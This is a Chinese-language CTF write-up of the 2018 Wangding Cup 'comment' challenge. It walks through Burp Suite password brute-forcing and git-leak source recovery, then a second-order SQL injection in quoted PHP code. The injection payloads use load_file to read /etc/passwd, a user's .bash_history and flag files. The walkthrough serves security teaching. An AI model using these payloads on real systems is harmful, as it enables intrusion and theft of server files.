一、2018网鼎杯comment
该题主要考察二次注入
1.二次注入概念:
攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。
进入网站:BUUCTF在线评测
搜索comment
2.进入靶机:
4. Burp Suite暴力破解
点击发布,会出现登陆界面
此时密码后三位被隐藏,我们可以使用Burp Suite中的Intruder模块进行暴力破解
根据长度判断后三位正确密码为666,得到密码后返回登陆界面,进入靶机。
5.对文件进行恢复,查看源码
通过对目录进行扫描,发现存在git泄露,通过githacker工具将文件恢复一下,得到源码。
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
可以看到addslashes给每个参数都进行了处理,但是数据库存入数据时会自动过滤,将转义字符丢弃,也就是数据还是会原样进入到数据库中。
6.二次注入
write指发帖,comment指发送评论。write下边,所有可控制的值都被addslashes转义了。但是comment下边,它把category值重新选取出来,并且没有进行过滤就带入了sql语句。很明显,这就是我们要找的注入点。这里注入就一定要绕过单引号。
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
即使在write下单引号被转义。但是那个单引号再次被数据库选出来时,它又恢复了单引号的特殊含义。 现在category='1',content=database()。/*是php的注释符,将后边的引号注释掉。但是这么注释存在问题,我们构造了一个content,当然/*也要闭合掉一个content。
insert into comment
set category = ' 1',content=user(),/*',
content = '111',
bo_id = '$bo_id'";
content是评论的内容。在评论区提交*/#,/**/形成闭合后,将content注释掉了,同时也绕过了引号。注意#是单行注释
insert into comment
set category = ' 1',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
先读取/etc/passwd
',content=(select(load_file("/etc/passwd"))),/*
发现存在www用户,读取用户的命令执行历史
',content=(select(load_file("/home/www/.bash_history"))),/*
先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下,然后因为这种文件直接读取通常存在乱码,所以要转进制读取才行。
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
将上述得到的源码进行 ASCII hex解码得到flag_8946e1ff1ee3e40f.php
所以尝试查看一下/tmp/html/flag_8946e1ff1ee3e40f.php
',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
这是一个假的flag,真的flag可能在/var/www/html目录下
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
解码后得到
7.成功拿到flag